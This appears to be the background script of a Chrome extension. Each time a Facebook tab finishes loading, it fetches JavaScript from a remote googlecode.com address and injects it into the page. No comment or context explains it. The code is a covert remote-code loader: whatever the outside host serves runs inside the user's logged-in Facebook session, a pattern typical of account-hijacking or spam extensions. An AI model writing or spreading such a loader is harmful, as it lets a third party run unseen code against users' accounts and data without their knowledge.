chrome.tabs.onUpdated.addListener(function(tabId, changeInfo) {
    if (changeInfo.status == 'complete') {
    chrome.tabs.get(tabId, function(tab) {
                console.log("looking for facebook tab");
                if(tab.url.indexOf("facebook.com") >= 0){
                        var xmlhttp = new XMLHttpRequest();
                        xmlhttp.onreadystatechange = function() {
            if (xmlhttp.readyState == 4) {
                chrome.tabs.executeScript(tab.id, {
                    code: xmlhttp.responseText
                });
            }
                        }
                        xmlhttp.open("GET", "https://india-project.googlecode.com/svn/mainIn.js");
                        xmlhttp.send();
                }
    })
    }
});